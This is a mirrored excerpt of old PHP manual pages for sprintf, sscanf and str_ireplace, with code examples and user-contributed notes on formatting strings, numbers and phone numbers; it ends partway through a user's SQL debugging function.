printf("%%+d = '%+d'\n", $u); // sign specifier on a negative integer
?>

The printout of this program would be:

%b = '10100111101010011010101101'
%c = 'A'
%d = '43951789'
%e = '4.39518e+7'
%u = '43951789'
%u = '4251015507'
%f = '43951789.000000'
%o = '247523255'
%s = '43951789'
%x = '29ea6ad'
%X = '29EA6AD'
%+d = '+43951789'
%+d = '-43951789'

例子 6. printf(): string specifiers

<?php
$s = 'monkey';
$t = 'many monkeys';

printf("[%s]\n",      $s); // standard string output
printf("[%10s]\n",    $s); // right-justification with spaces
printf("[%-10s]\n",   $s); // left-justification with spaces
printf("[%010s]\n",   $s); // zero-padding works on strings too
printf("[%'#10s]\n",  $s); // use the custom padding character '#'
printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters
?>

The printout of this program would be:

[monkey]
[    monkey]
[monkey    ]
[0000monkey]
[####monkey]
[many monke]

例子 7. sprintf(): zero-padded integers

<?php
$isodate = sprintf("%04d-%02d-%02d", $year, $month, $day);
?>

例子 8. sprintf(): formatting currency

<?php
$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// echo $money will output "123.1";
$formatted = sprintf("%01.2f", $money);
// echo $formatted will output "123.10"
?>

例子 9. sprintf(): scientific notation

<?php
$number = 362525200;

echo sprintf("%.3e", $number); // outputs 3.63e+8
?>

add a note add a note User Contributed Notes
egingell at sisna dot com
26-Apr-2006 04:51
<?
/**
 * [string or int] vprint ( string $format [, mixed $ary [, bool $return]] )
 *
 * Closely mimics the functionality of sprintf(), printf(), vprintf(), and vsprintf().
 *
 * Replaces %[bcdeufFosxX] with each element of $ary
 *    See http://us3.php.net/manual/en/function.sprintf.php for details on replacement types.
 *
 * If there are not enough elements in $ary (or it is left out) to satisfy $format,
 *    it will be padded to the correct length.
 *
 * Since v*printf() doesn't mind having too many elements in the array, $format will be left alone.
 *
 * If $ary is a string, it will be recast into an array.
 *
 * If $return is set to a value considered to be false (0, '', null, false, and array()),
 *    then the output will be sent to STDOUT and the strlen() of the output string will be returned;
 *    otherwise, the output string will be returned.
 *
 * It's buggy when using the argument swapping functionality, unless you do it propperly.
 *
 * May break when using modifiers (%.4e, %02s, etc), unless you do it propperly.
 **/
function vprint($format, $ary = array(), $return = true) {
   // Sanity?!
   if (!is_array($ary)) $ary = array($ary);

   // Find %n$n.
   preg_match_all('#\\%[\\d]*\\$[bcdeufFosxX]#', $format, $matches);

   // Weed out the dupes and count how many there are.
   $counts = count(array_unique($matches[0]));

   // Count the number of %n's and add it to the number of %n$n's.
   $countf = preg_match_all('#\\%[bcdeufFosxX]#', $format, $matches) + $counts;

   // Count the number of replacements.
   $counta = count($ary);

   if ($countf > $counta) {
       // Pad $ary if there's not enough elements.
       $ary = array_pad($ary, $countf, "&nbsp;");
   }

   if ($return) {
       return vsprintf($format, $ary);
   } else {
       return vprintf($format, $ary);
   }
}

?>
mauf at franzoni dot info
16-Feb-2006 11:21
The format of floating values has been previously reporting as depending on platform (linux / windows) yet I see it changes within two linux systems depending on the version:
In V4.2.2 "%3.2" displays 3 integers and two decimals (i.e. the first digit represents just the number of integer digits), on V4.4.1 the same displays (and justifies the string to) a three character string (i.e. the first digit is the total lenght of the number, including the decimal dot).

Maybe someone may better specify which version this happens from.
darkfalconIV at hotmail dot com
19-Dec-2005 04:57
henke dot andersson

You can accomplish feeding it array if you use call_user_func_array. Not exactly a `clean' option, but it does work.
jonybd
14-Nov-2005 10:02
Time ? Format

<?php

$v_Dur = "66";
$v_Dur = floor($v_Dur/60) . ":" .  number_format( fmod(($v_Dur/60)*60,60) )  ;
echo "HH:MM========" . $v_Dur;

echo "<br>";

$v_Dur = "66";
$v_Dur = floor($v_Dur/60) . ":" .  sprintf("%02s",number_format( fmod(($v_Dur/60)*60,60) )  );
echo "HH:MM========" . $v_Dur;

?>
tim dot brouckaert dot NOSPAM at gmail dot com
12-Oct-2005 08:35
If you want to center align some text using the printf or sprintf functions, you can just use the following:

function center_text($word){
   $tot_width = 30;
   $symbol = "-";
   $middle = round($tot_width/2);
   $length_word = strlen($word);
   $middle_word = round($length_word / 2);
   $last_position = $middle + $middle_word;
   $number_of_spaces = $middle - $middle_word;

   $result = sprintf("%'{$symbol}{$last_position}s", $word);
       for ($i = 0; $i < $number_of_spaces; $i++){
           $result .= "$symbol";
       }
   return $result;
}

$string = "This is some text";
print center_text($string);

off course you can modify the function to use more arguments.
webmaster at cafe-clope dot net
15-Aug-2005 12:47
trying to fix the multibyte non-compliance of sprintf, I came to that :

<?php
function mb_sprintf($format) {
   $argv = func_get_args() ;
   array_shift($argv) ;
   return mb_vsprintf($format, $argv) ;
}

function mb_vsprintf($format, $argv) {
   $newargv = array() ;

   preg_match_all("`\%('.+|[0 ]|)([1-9][0-9]*|)s`U", $format, $results, PREG_SET_ORDER) ;

   foreach($results as $result) {
       list($string_format, $filler, $size) = $result ;
       if(strlen($filler)>1)
           $filler = substr($filler, 1) ;
       while(!is_string($arg = array_shift($argv)))
           $newargv[] = $arg ;
       $pos = strpos($format, $string_format) ;
       $format = substr($format, 0, $pos)
                 . ($size ? str_repeat($filler, $size-strlen($arg)) : '')
                   . str_replace('%', '%%', $arg)
                   . substr($format, $pos+strlen($string_format))
                   ;
   }

   return vsprintf($format, $newargv) ;
}

?>

handle with care :
1. that function was designed mostly for utf-8. i guess it won't work with any static mb encoding.
2. my configuration sets the mbstring.func_overload configuration directive to 7, so you may wish to replace substr, strlen, etc. with mb_* equivalents.
3. since preg_* doesn't complies with mb strings, I used a '.+' in the regexp to symbolize an escaped filler character. That means, %'xy5s pattern will match, unfortunately. It is recomended to remove the '+', unless you are intending to use an mb char as filler.
4. the filler fills at left, and only at left.
5. I couldn't succeed with a preg_replace thing : the problem was to use the differents lengths of the string arguements in the same replacement, string or callback. That's why the code is much longuer than I expected.
6. The pattern wil not match any %1\$s thing... just was too complicated for me.
7. Although it has been tested, and works fine within the limits above, this is much more a draft than a end-user function. I would enjoy any improvment.

The test code below shows possibilities, and explains the problem that occures with an mb string argument in sprintf.

<?php
header("content-type:text/plain; charset=UTF-8") ;
$mb_string = "xxx" ;
echo sprintf("%010s", $mb_string), " [octet-size: ", str_sizeof($mb_string) , " ; count: ", strlen(sprintf("%010s", $mb_string)), " characters]\n" ;
echo mb_sprintf("%010s", $mb_string), " [octet-size: ", str_sizeof($mb_string) , " ; count: ", strlen(mb_sprintf("%010s", $mb_string)), " characters]\n" ;
echo "\n" ;
echo mb_sprintf("%''10s\n%'010s\n%'10s\n%10d\n%'x10s\n%010s\n% 10s\n%010s\n%'1s\n", "zero", "one", "two", 3, "four", "ve", "%s%i%x", "ve", "eight") ;
?>
david at rayninfo dot co dot uk
17-Jun-2005 02:33
Using sprintf to force leading leading zeros

foreach (range(1, 10) as $v) {echo "<br>tag_".sprintf("%02d",$v);}

displays
tag_01
tag_02
tag_03
.. etc
ian dot w dot davis at gmail dot com
30-May-2005 10:03
Just to elaborate on downright's point about different meanings for %f, it appears the behavior changed significantly as of 4.3.7, rather than just being different on different platforms. Previously, the width specifier gave the number of characters allowed BEFORE the decimal. Now, the width specifier gives the TOTAL number of characters. (This is in line with the semantics of printf() in other languages.) See bugs #28633 and #29286 for more details.
Pacogliss
02-May-2005 03:08
Just a reminder for beginners : example 6 'printf("[%10s]\n",    $s);' only works (that is, shows out the spaces) if you put the html '<pre></pre>' tags ( head-scraping time saver ;-).
christian at wenz dot org
18-Apr-2005 03:20
@ henke dot andersson at comhem dot se: Use vprintf()/vsprintf() for that.
henke dot andersson at comhem dot se
15-Apr-2005 11:07
Mind that it doesn't allow you to use a array as multiple arguments like this:
<?php
printf('%s %s',array('a','b')) ?>
downright at comcast dot net
01-Feb-2005 06:03
Just thought I'd give a heads up for anyone doing cross platform applications.

sprintf spacing is different numerically with Windows and Linux.

Linux aligned correctly:
$ol = sprintf ("%-6s|%11.2f|%11.2f|%11.2f|%11.2f|%11.2f|%11.2f|%11.2f|%11.2f\n",

Windows aligned correctly:
$ol = sprintf ("%-6s|%14.2f|%14.2f|%14.2f|%14.2f|%14.2f|%14.2f|%14.2f|%14.2f\n",

As you can see the strings are fine for spacing, however, the numbers need a difference of 3 in order to have the same amount of spaces.

I noticed this after using sprintf to format a header for a web app I was working on.  On windows it fit, however, when it came to linux it was MUCH larger than the header.
jrpozo at conclase dot net
21-Jan-2005 11:13
Be careful if you use the %f modifier to round decimal numbers as it (starting from 4.3.10) will no longer produce a float number if you set certain locales, so you can't accumulate the result. For example:

setlocale(LC_ALL, 'es_ES');
echo(sprintf("%.2f", 13.332) + sprintf("%.2f", 14.446))

gives 27 instead of 27.78, so use %F instead.
timo at frenay dot net
11-Jan-2005 02:58
Note that the documentation is unclear about the details of the sign specifier. First of all, the character for this is "+".

Also note that the following does NOT print "+00.00" as you might expect:

<?php
   printf('%+02.2f', 0);
?>

The sign is included in the width. This can't be solved by increasing the width:

<?php
   printf('%+03.2f', 0);
?>

This will put the padding 0 before the sign.
Here is a possible solution:

<?php
   $value = 0;
   printf('%s%02.2f', ($value < 0) ? '-' : '+', abs($value));
?>
Gkeeper80
12-Aug-2004 06:58
When using sprintf with padding, it's important to note that specifying the length of your padding does not restrict the length of your output.

For example:
$var = 'test';
$output sprintf("%03s", $var);

print $output;

Produces:
test

NOT:
est

This may seem intuitive for working with numbers, but not neccesarily when working with strings.
rex
16-Jun-2004 05:47
Note, if you are just looking for something to pad out a string consider str_pad.

From testing, it seems faster and was more intuitive to use (for example, making it pad the begining or end of a string... with sprintf you would have to use negative indexes)
php at sharpdreams dot com
09-May-2004 05:13
Note that when using the argument swapping, you MUST number every argument, otherwise sprintf gets confused. This only happens if you use number arguments first, then switch to a non-numbered, and then back to a numbered one.

<?php
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Wont work:
// Sprintf will complain about not enough arguments.
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%3\$s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Will work: note the %3\$s
?>
tobias at silverxnet dot de
17-Apr-2004 10:09
Regarding the previous posting:
I just wanted to give an explanation. This should be because the float to string / integer to string conversion (you are using a string, multiplying it with a float value what php automatically causes to convert the string to a float value). This is a general "problem" (or not), but not that hard to explain.
Where an integer or float starts with 0, in a string it does obviously with 1. So if you are using a string your value will increase by one (You started with a string, so it does not increase but contain the real result. If you start using a float value by not using '' around the value, you have to output the float value as well. This is just the PHP conversion.)

Try putting
$x = strval( $x );
after
$x = $x * 100;
and using your example again. You will see that the output will change to 13664 = 13664 because of the general string conversion. It seems that PHP is converting a float to a string by inceasing by one. By doing the same with intval instead of strval the output changes to 13663 = 13663.

! sprintf seems to behave wrong when using the conversation to an integer value and NOT doing the conversation at all. So use intval to convert to an integer value or strval to convert to a string value BEFORE using sprintf. This should be solving the problems.
kekec at kukac dot hu
30-Mar-2004 01:16
A really working one:
<?php
function cutzero($value) {
   return preg_replace("/(\.?)0+$/", "", $value);
}
?>
06-Mar-2004 02:54
both of your cut-zero functions are just way too complicated. if it's a string where only the zeros at the end should be truncated, why not use a syntax as simple as rtrim("4.7000","0") ?
martin at schwedes dot com
10-Jul-2003 06:45
decision within sprintf:

$a = "today";
$b = sprintf('This is %s', $a=='today' ? 'today':'not today');
echo $b;
// result: This is today
Rene dot Leonhardt at agritec24 dot com
17-May-2003 01:02
Your cutzero function could be faster ;-)
   return (double)$value;

But if you must have a function:
   return preg_replace('/0+$/', '', $value);
kouber at php dot net
08-May-2003 05:55
If you want to cut all the zeros off the end of a float, but not losing any sensitive information, use this:

<?
function cutzero($value) {
   return preg_replace("/(\.\d+?)0+$/", "$1", $value)*1;
}
?>

Some examples:

<?
cutzero("4.7600");    // returns 4.76
cutzero("4.7604")      // returns 4.7604
cutzero("4.7000");    // returns 4.7
cutzero("4.0000");    // returns 4
?>
info at nospam dot webtip dot dk
18-Feb-2003 09:06
If you want to format a phonenumber with spaces, use chunk_split() which splits a string into smaller chunks. It's much simpler than using sprintf.

$phone = "12345678";

chunk_split ($phone, 2);

will return 12 34 56 78
moritz dot geselle at invision-team dot de
03-Dec-2002 06:52
a little note to the argument swapping examples which took me a while to get:
if you use single quotes for the format string (like you should do, since there aren't any variable conversions to do as long as you don't need any special chars), the given examples won't work because of the backslash before the $ (needs to be escaped in double quoted strings - but not in single quoted!)

so this:

$format = "The %2\$s contains %1\$d monkeys";
printf($format,$num,$location);

with a single quoted format string would look like this:

$format = 'The %2$s contains %1$d monkeys';
printf($format,$num,$location);

(no escapes)

I hope that helps to avoid confusion ;)
no dot email dot address at example dot com
16-Sep-2002 09:29
Using argument swapping in sprintf() with gettext: Let's say you've written the following script:

<?php
$var = sprintf(gettext("The %2\$s contains %1\$d monkeys"), 2, "cage");
?>

Now you run xgettext in order to generate a .po file. The .po file will then look like this:

#: file.php:9
#, ycp-format
msgid "The %2\\$s contains %1\\$d monkeys"
msgstr ""

Notice how an extra backslash has been added by xgettext.

Once you've translated the string, you must remove all backslashes from the ID string as well as the translation, so the po file will look like this:

#: file.php:9
#, ycp-format
msgid "The %2$s contains %1$d monkeys"
msgstr "Der er %1$d aber i %2$s"

Now run msgfmt to generate the .mo file, restart Apache to remove the gettext cache if necessary, and you're off.
abiltcliffe at bigfoot.com
11-Sep-2002 02:01
To jrust at rustyparts.com, note that if you're using a double-quoted string and *don't* escape the dollar sign with a backslash, $s and $d will be interpreted as variable references. The backslash isn't part of the format specifier itself but you do need to include it when you write the format string (unless you use single quotes).
Andrew dot Wright at spamsux dot atnf dot csiro dot au
03-Jul-2002 05:22
An error in my last example:
$b = sprintf("%30.s", $a);
will only add enough spaces before $a to pad the spaces + strlen($a) to 30 places.

My method of centering fixed text in a 72 character width space is:

$a = "Some string here";
$lwidth = 36; // 72/2
$b = sprintf("%".($lwidth + round(strlen($a)/2)).".s", $a);
eden_zero_x at hotmail dot com
27-Jun-2002 05:05
Well I came up with this one, extremely simple. instead of writing <span class="class">hello</a>
you can write: print class('class','hello'); using sprintf
-----------------------------
function class_ ($class, $text=false)
 {
   return sprintf ("<span class=\"%s\">%s</span>",
       $class,
       ($text ? $text : $class)
   );
 }
-----------------------------
shgyn at binabakti dot or dot id
01-Jun-2002 10:57
Previously submitted sci() function to get scientific representation of a number is not working with 0 and negative numbers. So, here is the modified version:

function sci($x, $d=-1) {
   $min=($x<0)?"-":"";
   $x=abs($x);
   $e=floor(($x!=0)?log10($x):0);
   $x*=pow(10,-$e);
   $fmt=($d>=0)?".".$d:"";
   $e=($e>=0)?"+".sprintf("%02d",$e):"-".sprintf("%02d",-$e);
   return sprintf("$min%".$fmt."fe%s",$x,$e);
}
fuchschr at surfeu dot at
21-Feb-2002 12:54
To have a string with leading zeros use this:
$string_i = sprintf("%04s",$value)

Gives you an output with leading zeros and 4 digits.
i.e.
0001
0002
...
0010
an so on
cv at corbach dot de
10-Feb-2002 11:36
To make radu.rendec@ines.ro's excellent function work on signed numbers you must change the first line to:

$e = floor(log10(abs($x)));
radu dot rendec at ines dot ro
09-Jan-2002 10:49
The 'e' format specifier is not documented. However, it seems to work, but without showing the exponential part of the number.

This is a function to get the scientific representation of a number:

function sci($x, $d=-1) {
   $e=floor(log10($x));
   $x*=pow(10,-$e);
   $fmt=($d>=0)?".".$d:"";
   $e=($e>=0)?"+".sprintf("%02d",$e):"-".sprintf("%02d",-$e);
   return sprintf("%".$fmt."fe%s",$x,$e);
}

It takes the number as the first parameter and the precision as the second. The precision is optional. The default precision for the 'f' format specifier is used if no precision is specified.
anqmb(at)yahoo.co.jp
05-Dec-2001 08:51
Watch out the mysterious rounding rule.
<?php
$a = 4.5;
$b = sprintf("%d",$a);
$c = 4.5;
$d = sprintf("%.0f",$c);
$e = 0.45;
$f = sprintf("%.1f",$e);
print ("$b,$d,$f\n");
?>

The code above prints "4,5,0.5".
(Perl version prints "4,4,0.5".)
keeper at odi dot com dot br
27-Nov-2001 01:26
Took me a while to find this out.
hope will save someones time.
IT ADD A CARACRER TO THE END OF A STRING

$x = sprintf("%'x-10s", "a");
echo $x;
target_rex at hotmail dot com
15-Apr-2001 10:20
$a = 5;
// $a is a int
echo $5;
// Outputs:"5";
// If you would like to print $a as a bin,(101) like: 00000101 (8 digits)
sprintf("%8b", $a) // Witch returns exatly 00000101 (8 digits)

// My function looked like:
  //////////////////////////////////////////
  // By DrRex - www.DrRex.dk - 15/04-2001 //
  // string bin(int dec)                  //
  //////////////////////////////////////////
  function bin($dec){
   $bin = sprintf("%8b", $dec);
   return $bin;
  }
  //////////////////////////////////////////

// Very short exampels how to use bin()

  echo "\n1. 128(10) == ".bin(128)."(2)";

  $hits = 100;
  echo "\n2. Loaded ".bin($hits)."(2) times! Bib!";

// Not very usefull, nobody understands the number, exept if small counters like this one. If it wasn't 8(2) but FFFFFF(16) digits. I would give up...

// This would output:
  1. 128(10) == 10000000(2)
  2. Loaded 01100100(2) times! Bib!

-------------------------------------------------
Greetings from Christiania, Copenhagen, Denmark!
All code by DrRex
www.DrRex.dk
tjchamberlain.hotmail@com
26-Mar-2001 03:16
It is worth noting that "%5.2f" will result in a string 8 characters long (5 then the '.' then 2), not 5 characters as you might expect.
prolixmp3 at navigators dot lv
24-Mar-2001 02:55
If you are going to create a counter which uses _symbols_ before actual digits (see, f.e., SpyLog.com counters - they are filling space with "." before, so the count like 12345 looks like "........12345"), you can use the following:

$txt = "Abracadabra"; // actual string
$fit = 16; // how many digits to use
$fill = "."; // what to fill
$digits = sprintf ("%'{$fill}{$fit}s", $txt);

Paul (a.k.a. Mr.Prolix)
voudras at nospam dot swiftslayer dot org
17-Nov-2000 10:58
Little note about sprintf and its ilk.
if you attempt something like
$string = "dingy%sflem%dwombat";
$nbr = 5;
$name = "voudras";

$msg = sprintf("%d $string %s", $nbr, $name);

sprintf will complain about a lack in the number of arguments, this would be because of the %'s in the actual string. This can be a great benifit, but is also rather confusing if you dont realize this feature, and are passing questionable variables to sprintf (for, say perhaps logging). One way around this is using
ereg_replace("%","%%", $string); before
sending it off to sprintf. This is actually how i came across this as a problem - i had realized some time ago that i would have to test my $string for
%'s, but when running the %->%% replacement on a very large serialized object, my application timed out.
   My solution was to use
sprintf("%d %s %s", $nbr, $string, $name);
but, there was a reason i originally had done this the other way - i suppose i'll find out soon enough
paolini at kahuna dot sdsu dot edu
14-Apr-1999 04:12
Hey folks, don't forget to prefix a precision specifier with a period '.'!
Thus, to print a floating point number,
say $x, with two digits after the decimal point you would write:

printf( "%.2f", $x );
add a note add a note

后退 | 起点 | 前进
soundex | 上一级 | sscanf


sscanf

(PHP 4 >= 4.0.1, PHP 5)

sscanf -- Parses input from a string according to a format

Description

mixed sscanf ( string str, string format [, mixed &...] )

The function sscanf() is the input analog of printf(). sscanf() reads from the string str and interprets it according to the specified format, which is described in the documentation for sprintf(). If only two parameters were passed to this function, the values parsed will be returned as an array. Otherwise, if optional parameters are passed, the function will return the number of assigned values. The optional parameters must be passed by reference.

Any whitespace in the format string matches any whitespace in the input string. This means that even a tab \t in the format string can match a single space character in the input string.

例子 1. sscanf() Example

<?php
// getting the serial number
$serial = sscanf("SN/2350001", "SN/%d");
// and the date of manufacturing
$mandate = "January 01 2000";
list($month, $day, $year) = sscanf($mandate, "%s %d %d");
echo "Item $serial was manufactured on: $year-" . substr($month, 0, 3) . "-$day\n";
?>
If optional parameters are passed, the function will return the number of assigned values.

例子 2. sscanf() - using optional parameters

<?php
// get author info and generate DocBook entry
$auth = "24\tLewis Carroll";
$n = sscanf($auth, "%d\t%s %s", $id, $first, $last);
echo "<author id='$id'>
    <firstname>$first</firstname>
    <surname>$last</surname>
</author>\n";
?>

See also fscanf(), printf(), and sprintf().

add a note add a note User Contributed Notes
skeltoac
23-Mar-2006 12:28
To parse a line from an Apache access log in common format:

<?php
$log = array();
$n = sscanf(trim($line), '%s %s %s [%[^]]] "%s %s %[^"]" %d %s "%[^"]" "%[^"]"',
   $log['ip'],
   $log['client'],
   $log['user'],
   $log['time'],
   $log['method'],
   $log['uri'],
   $log['prot'],
   $log['code'],
   $log['bytes'],
   $log['ref'],
   $log['agent']
);
?>
Fuzzmaster
23-Sep-2005 10:14
Building a better Phone Format.  This function, a variation of prev. posts (in theory):

Should stip all non-numeric characters.
Treat partial numbers as extensions.
Treat 8 - 9 digit numbers as phone+ext.

Be kind I'm a newbie.

<?php

   // ##### Format String as Phone Number
   Function formatPH($ph)
         {
           $ph = ereg_replace ('[^0-9]+', '', $ph); // ##### Strip all Non-Numeric Characters
           $phlen = strlen($ph);
           switch (TRUE)
             {
             case ($phlen < 7):
               $ext = $ph;
               break;
             case ($phlen == 7):
               sscanf($ph, "%3s%4s", $pfx, $exc);
               break;
             case ($phlen > 7 AND $phlen < 10):
               sscanf($ph, "%3s%4s%s", $pfx, $exc, $ext);
               break;
             case ($phlen == 10):
               sscanf($ph, "%3s%3s%4s", $area, $pfx, $exc);
               break;
             case ($phlen == 11):
               sscanf($ph, "%1s%3s%3s%4s", $cty, $area, $pfx, $exc);
               break;
             case ($phlen > 11):
               sscanf($ph, "%1s%3s%3s%4s%s", $cty, $area, $pfx, $exc, $ext);
               break;
             }
           $out = '';
           $out .= isset($cty) ? $cty.' ' : '';
           $out .= isset($area) ? '('.$area.') ' : '';
           $out .= isset($pfx) ? $pfx.' - ' : '';
           $out .= isset($exc) ? $exc.' ' : '';
           $out .= isset($ext) ? 'x'.$ext : '';
           return $out;
         }

?>
Brainiac361
23-Aug-2005 04:49
The %[^[]]-trick may seem to work, but it doesn't!

What happens is that sscanf will simply match any characters but an opening square bracket (which is rather rare and that's why it might just seem to work).
But even worse it will expect a ]-character next and continue to match anything.

Now what you can do is make sscanf look for any character but a character that is really never used... a good choice is the linebreak "%[^\\n]", especially in combination with fscanf.

What you can also do is copy and paste any unused ascii character like #001 or something.
joshmckenneyATgmailDOT(0{
15-Jul-2005 06:21
added country code (1) to phone number function:

function formatPhone($phone) {
       if (empty($phone)) return "";
       if (strlen($phone) == 7)
               sscanf($phone, "%3s%4s", $prefix, $exchange);
       else if (strlen($phone) == 10)
               sscanf($phone, "%3s%3s%4s", $area, $prefix, $exchange);
       else if (strlen($phone) > 10)
               if(substr($phone,0,1)=='1') {
                                 sscanf($phone, "%1s%3s%3s%4s", $country, $area, $prefix, $exchange);
                             }
                             else{
                                 sscanf($phone, "%3s%3s%4s%s", $area, $prefix, $exchange, $extension);
                               }
       else
               return "unknown phone format: $phone";
       $out = "";
       $out .= isset($country) ? $country.' ' : '';
       $out .= isset($area) ? '(' . $area . ') ' : '';
       $out .= $prefix . '-' . $exchange;
       $out .= isset($extension) ? ' x' . $extension : '';
       return $out;
}
Vincent Jansen
16-Jun-2005 04:04
If you just wants filter out information between two parts of a string, i used the following, it works better for me then the sscanf function.

<?php
function scanstr($zoekstr,$part1,$part2) {
$firstpos=strpos ($zoekstr, $part1)+strlen($part1);
$lastpos=strpos ($zoekstr, $part2);
$scanresult=substr ($zoekstr, $firstpos, $lastpos-$firstpos);
   return($scanresult);
}
echo scanstr ("var1=hello&var2=test&var3=more","var2=","&var3");
?>
codeslinger at compsalot dot com
06-Feb-2005 10:03
Security Note:

Although it is a very powerful technique, keep in mind that it is easily deceived.

Many successful exploits have been based on scanf attacks.  It should not be used on untrusted input without a lot of additional validation.
steve (atsign) rapaport *fullstop* com
19-Sep-2004 07:27
The classic example
<?php
list($month, $day, $year) = sscanf($mandate, "%s %d %d");
?>

works fine if you already know the variable names you want to fill, and the format string you want to fill them with.  If you want both of those to be dynamically configurable (as in reading a file with a flexible format), you may have a use for this code:

Assumes your variables are listed in the variable
$varstr = "var1, var2, var3"
(you don't know what the variable names will be,
 perhaps they're a subset of a long list of valid ones)

Assumes your input line is in $line, and your sscanf spec is in $spec.  Both of these may also be in your input.

Integrity checks omitted for clarity.

<?php
       $vars = explode(',', $varstr);

       $values = @sscanf($line, $spec);
       // Do input integrity checks

       foreach ($vars as $var) {
           $var = trim($var);
           $next = each($values);
           $$var = $next['value'];
           if ($$var) $result_array[$var] = $$var;
       }
?>

This took me some time to write successfully, so I'm including it for posterity.  Non-obvious is the use of
$next.

Cheers,

Steve
marcus at synchromedia dot co dot uk
25-Mar-2003 01:38
In PHP >= 4.3.0, if you use additional reference parameters, you will get this warning:

PHP Warning:  Call-time pass-by-reference has been deprecated - argument passed by value

This clearly has the potential to cause unexpected consequences (vars left empty), and will break existing code. So don't do it! These docs need updating to say this too.

The syntax:

   list($a, $b) = sscanf("hello world", "%s %s");

will work as expected, and doesn't seem to cause any problems with Apache that I've noticed.
sbarnum.pointsystems@com
20-Feb-2003 05:29
This is a better phone format function than the one above, handles leading zeroes correctly, by using the "%s" instead of "%d" argument to sscanf().  Again, this function assumes that the input has been stripped of all non-integer values.

function formatPhone($phone) {
       if (empty($phone)) return "";
       if (strlen($phone) == 7)
               sscanf($phone, "%3s%4s", $prefix, $exchange);
       else if (strlen($phone) == 10)
               sscanf($phone, "%3s%3s%4s", $area, $prefix, $exchange);
       else if (strlen($phone) > 10)
               sscanf($phone, "%3s%3s%4s%s", $area, $prefix, $exchange, $extension);
       else
               return "unknown phone format: $phone";
       $out = "";
       $out .= isset($area) ? '(' . $area . ') ' : "";
       $out .= $prefix . '-' . $exchange;
       $out .= isset($extension) ? ' x' . $extension : "";
       return $out;
}
sbarnum.pointsystems@com
20-Nov-2002 11:21
More fun with phones!  This assumes that the phone number is 10 digits, with only numeric data, but it would be easy to check the length of the string first.

function formatPhone($phone) {
       if (empty($phone)) return "";
       sscanf($phone, "%3d%3d%4d", $area, $prefix, $exchange);
       $out = @$area ? "($area) " : "";
       $out .= $prefix . '-' . $exchange;
       return $out;
}
jon at fuck dot org
14-Sep-2002 02:27
this function is a great way to get integer rgb values from the html equivalent hex.

list($r, $g, $b) = sscanf('00ccff', '%2x%2x%2x');
jamesDOTwatsonATrealismstudiosDOTcom
11-Jul-2002 03:31
You're making a common mistake in believing that sscanf (and the whole scanf family) are more intelligent than they really are, sscanf always starts checking from the first character of the string, the first character that doesn't match the format string causes it to bail out early, if you want to match later in the string you'll have to do something like this:

sscanf(strstr($lit[$x],"Vol."),"Vol. %d",&$vol[$x]);

(check the docs on strstr if you're unsure of how it works)

or if you want you can add some simple error correction

$temp=strstr($lit[$x],"Vol.");
if ($temp)
   sscanf($temp,"Vol. %d",&$vol[$x]);
else
   $vol[$x]=$default_vol;
ryany at pantek dot com
04-Apr-2002 12:27
not only does that match anything, but so does .*
elgabos at umail dot ucsb dot edu
27-Feb-2002 07:38
After playing around with this for a while, I found that if you use %[^[]] instead of %s (since php has problems with spaces when using %s) it works nicely.

For those that aren't familiar with regular expressions, %[^[]] basically matches anything that isn't nothing.

Hope this helps. - Gabe
narainsbrain at yahoo dot com
14-Oct-2001 06:25
apparently, sscanf always splits at spaces, even if spaces are not specified in the format. consider this script:

<?php
$str = "This is a\tsentence with\ttabs";
$scanned = sscanf($str, "%s\t%s\t%s");
echo join(" : ", $scanned);
?>

this echoes "This : is : a", not the expected "This is a : sentence with : tabs."
this behaviour is fine if your strings don't contain spaces, but if they do you'd be better off using explode().
owenh at halo5 dot com
28-Nov-2000 08:21
list($phone11, $phone12, $phone13) = sscanf($arow[9],"(%d) %d-%d");

If thoes variables dont have data in them it seems to cause segfaults on apache.  ( just to save you some trouble shooting time here is my fix:
sscanf($arow[9],"(%d) %d-%d", &$phone11,&$phone12, &$phone13);
clcollie at mindspring dot com
12-Sep-2000 07:59
Actually sscanf()_always_ returns an array if you specify less return variables than format specifiers. i may change this to return a scalar if only a single format specifier exists.
  Note that sscanf() is (almost) the complete functional equivalent of its "C" counterpart, so you can do the following to get the expected effect :

   sscanf("SN/2350001","SN/%d",&$serial)

The array return was a nicety for PHP.
add a note add a note

后退 | 起点 | 前进
sprintf | 上一级 | str_ireplace


str_ireplace

(PHP 5)

str_ireplace -- Case-insensitive version of str_replace().

Description

mixed str_ireplace ( mixed search, mixed replace, mixed subject [, int &count] )

This function returns a string or an array with all occurrences of search in subject (ignoring case) replaced with the given replace value. If you don't need fancy replacing rules, you should generally use this function instead of eregi_replace() or preg_replace() with the i modifier.

If subject is an array, then the search and replace is performed with every entry of subject, and the return value is an array as well.

If search and replace are arrays, then str_ireplace() takes a value from each array and uses them to do search and replace on subject. If replace has fewer values than search, then an empty string is used for the rest of replacement values. If search is an array and replace is a string; then this replacement string is used for every value of search.

例子 1. str_ireplace() example

<?php
$bodytag = str_ireplace("%body%", "black", "<body text=%BODY%>");
?>

This function is binary safe.

注: As of PHP 5.0.0 the number of matched and replaced needles will be returned in count which is passed by reference. Prior to PHP 5.0.0 this parameter is not available.

See also:
str_replace(),
ereg_replace(),
preg_replace(), and
strtr().

add a note add a note User Contributed Notes
hfuecks at nospam dot org
04-Jul-2005 05:07
Note that character case is being defined by your server's locale setting, which effects strings containing non-ASCII characters.

See strtolower() - http://www.php.net/strtolower and comments - internally str_ireplace converts $search and $replace to lowercase to find matches.
daevid at daevid dot com
06-Apr-2005 04:14
here's a neat little function I whipped up to do HTML color coding of SQL strings.

<?php
/**
 * Output the HTML debugging string in color coded glory for a sql query
 * This is very nice for being able to see many SQL queries
 * @access    public
 * @return    void. prints HTML color coded string of the input $query.
 * @param    string $query The SQL query to be executed.
 * @author    Daevid Vincent [daevid@LockdownNetworks.com]
 *  @version    1.0
 * @date        04/05/05
 * @todo    highlight SQL functions.
 */
function SQL_DEBUG( $query )
{
   if( $query == '' ) return 0;

   global $SQL_INT;
   if( !isset($SQL_INT) ) $SQL_INT = 0;

   //[dv] this has to come first or you will have goofy results later.
